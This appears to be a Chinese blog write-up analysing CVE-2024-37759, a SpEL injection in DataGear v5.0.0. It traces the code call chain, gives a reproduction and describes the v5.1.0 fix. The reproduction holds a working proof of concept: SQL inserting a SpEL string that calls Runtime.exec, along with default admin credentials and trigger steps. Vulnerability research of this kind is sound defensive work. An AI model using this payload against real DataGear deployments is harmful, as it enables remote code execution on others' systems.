CVE-2024-37759 SpEL注入

漏洞简介

DataGear 是一款开源免费的数据可视化分析平台,允许用户自由制作数据看板,支持接入 SQL、CSV、Excel、HTTP 接口、JSON 等多种数据源。

DataGear v5.0.0 存在 SpEL 表达式注入漏洞,可导致远程代码执行。

环境搭建

源码下载

地址:datageartech/datagear: DataGear数据可视化分析平台,自由制作任何您想要的数据看板 (github.com)

数据库准备

  1. 安装 MySQL 8.0 数据库,并将 root 用户的密码设置为:root(或修改 test/config/jdbc.properties 配置)
  2. 新建测试数据库,名称为:dg_test
  3. 使用 test/sql/test-mysql.sql 脚本初始化 dg_test 库

编译运行

项目是典型的 Spring Boot 项目。在 IDE 中打开项目,使用 Maven 编译,运行 org.datagear.webapp.DataGearApplication 即可启动。

项目启动后访问地址:http://localhost:50401

漏洞分析

项目漏洞点

org.datagear.persistence.support.ConversionSqlParamValueMapper#evaluateVariableExpression 方法中,存在 org.springframework.expression.common.TemplateAwareExpressionParser#parseExpression(java.lang.String) 的调用。

此方法主要用于计算expression的值

如果其中的参数 expression 可控,这个漏洞点就可能被利用。接下来需要找出调用 evaluateVariableExpression 的地方。

触发漏洞点的调用链

1
2
3
4
5
6
7
org.datagear.web.controller.DataController#view
org.datagear.persistence.support.DefaultPersistenceManager#get(java.sql.Connection, org.datagear.persistence.Dialect, org.datagear.meta.Table, org.datagear.persistence.Row, org.datagear.persistence.SqlParamValueMapper, org.datagear.persistence.RowMapper)
org.datagear.persistence.support.DefaultPersistenceManager#buildUniqueRecordCondition
org.datagear.persistence.support.DefaultPersistenceManager#mapToSqlParamValue
org.datagear.persistence.support.ConversionSqlParamValueMapper#map
org.datagear.persistence.support.ConversionSqlParamValueMapper#resolveExpressionIf
org.datagear.persistence.support.ConversionSqlParamValueMapper#evaluateVariableExpressions

寻找调用链过程

全局搜索evaluateVariableExpression方法

发现evaluateVariableExpressions方法(主要用于判断表达式的值是否需要计算),调用此方法

继续跟进,找到resolveExpressionIf方法调evaluateVariableExpressions方法

ai了一下此段代码含义,主要是用于判断传入的是否有表达式,会先计算表达式,再拼接到sql语句中执行

大致流程图

1
2
3
4
5
6
7
8
9
1. 如果不是字符串 → 直接返回
2. 否则:
a. 如果启用变量表达式:
- 提取并求值 → 替换为结果
- 如果没有表达式但有转义字符 → 反转义
b. 如果启用 SQL 表达式:
- 提取并求值 → 替换为结果
- 如果没有表达式但有转义字符 → 反转义
3. 返回最终值
  • 输入值为 ${user.name},系统会先替换 ${user.name} 为真实用户名字。
  • 若替换后为 SELECT COUNT(*) FROM log WHERE user='张三',再解析 #{...} 表达式并执行 SQL。
  • 可嵌套执行,先变量、后 SQL。

继续搜索resolveExpressionIf方法,发现map方法调用此方法

此代码执行流程

1
2
3
4
5
6
7
8
1. 如果值为 null,直接返回 null 参数封装
2. 否则:
a. 执行表达式解析(变量 / SQL 表达式)
b. 如果解析后是 SqlParamValue 类型 → 直接返回
c. 否则将值封装为 SqlParamValue
3. 捕获异常:
a. 映射异常原样抛出
b. 其他异常封装并抛出(含表、列、值信息)

主要用于将一个原始值(可能是表达式)转换为 SqlParamValue 类型,用于数据库操作。

继续查找用法,发现org/datagear/persistence/support/DefaultPersistenceManager.java

mapToSqlParamValue方法中调用了map方法

提取出关键代码

1
2
3
4
if (mapper == null)
sqlParamValue = createSqlParamValue(column, value);
else
sqlParamValue = mapper.map(cn, table, column, value);

如果没有传入 mapper,使用默认的方式创建 SqlParamValue

否则,调用外部提供的 mappermap() 方法执行自定义映射。

这里应该控制传入mapper为ConversionSqlParamValueMapper才可调用我们需要的map方法

继续查找用法,来到的buildUniqueRecordCondition方法

没有什么特殊的条件

此方法用途

功能 描述
构造 SQL 条件 基于唯一列生成精确匹配条件
支持 null 值处理 自动使用 IS NULL
支持嵌套 SQL 对字面量 SQL 做合法性校验
安全 值通过参数绑定,避免 SQL 注入

生成 SQL 示例

假设唯一字段为 id, name,对应数据为:

1
2
id = 1001
name = null

生成的 SQL 条件将为:

1
id = ? AND name IS NULL

绑定参数列表为:[1001]

继续跟进,看到get方法调用此方法

执行流程

1
2
3
4
5
6
7
8
9
10
1. 检查表合法性
2. 获取数据库方言
3. 创建 SQL 查询语句(SELECT * FROM ... WHERE ...)
4. 将唯一字段从 param 映射为 SQL 条件
5. 执行查询,结果映射为 Row 列表
6. 判断返回结果数量:
- 1 条 → 返回
- 0 条 → null
- >1 条 → 抛出 NonUniqueResultException
7. 最终释放资源

例如,你要从 user 表中根据 id=1001 查询一个用户:

1
Row row = get(cn, null, userTable, Row.of("id", 1001), defaultMapper, rowMapper);

返回结果可能是:

  • 找到唯一用户 → 返回 Row 对象
  • 没有该用户 → 返回 null
  • id 字段不是唯一的(异常)→ 抛出 NonUniqueResultException

继续查找利用点

来到org/datagear/web/controller/DataController.java

view方法

可以看到调用了persistenceManager.get

org.datagear.web.controller.DataController#view 是查看数据库表中一条记录的入口方法。其逻辑是根据传入的参数查询表,即 SELECT * FROM table WHERE paramName = paramValue。

但在构造这个 SQL 查询语句时,会对 paramValue 进行处理。它会根据是否包含 “#{“ 等特殊字符来判断是否为表达式。如果是表达式,就会进行计算后再拼接到 SQL 中。(这个逻辑在 org.datagear.persistence.support.ConversionSqlParamValueMapper#resolveExpressionIf 中)此外,还需要 ConversionSqlParamValueMapper 启用变量表达式特性。

构造的恶意数据库(具体见漏洞复现)就是利用这个逻辑,传入参数 {“name”:”#{T(java.lang.String).forName(‘java.lang.Runtime’).getRuntime().exec(‘calc’)}”}。其中的 #{T(java.lang.String).forName(‘java.lang.Runtime’).getRuntime().exec(‘calc’)} 符合表达式形式,会进入 parseExpression 进行计算,从而触发命令执行。

漏洞复现

第一步:准备恶意数据库表

1
2
3
4
5
6
7
CREATE DATABASE evil;

CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");

第二步:添加恶意数据库源

  1. 登录 http://localhost:50401,默认账号密码为 admin/admin。
  2. 在架构添加界面中添加此 MySQL 数据库:/schema/saveAdd
  3. 选择”数据源”—“数据源添加”,填写刚才创建的恶意数据库地址。

第三步:触发漏洞执行代码

打开刚才添加的数据库,然后单击”查看”按钮,将执行 SpEL 表达式

漏洞修复

DataGear 在 v5.1.0 中修复了这个漏洞。

修复方案利用了前面提到的 ConversionSqlParamValueMapper 中的变量表达式特性。新的逻辑直接关闭了这个特性,全部按照字符串处理,不再对表达式进行解析。

注:可以使用 SimpleEvaluationContext 来限制可执行注入的 SpEL 表达式。

创建一个 受限的表达式执行环境,默认:

  • 只允许读取属性、调用 getter 方法
  • 不允许调用任意方法(如 System.exit() 这种危险操作)
  • 适合暴露给不可信的用户输入(安全)

参考

https://forum.butian.net/article/590


CVE-2024-37759 SpEL注入
http://huang-d1.github.io/2025/07/27/CVE-2024-37759 SpEL注入/
作者
huangdi
发布于
2025年7月27日
许可协议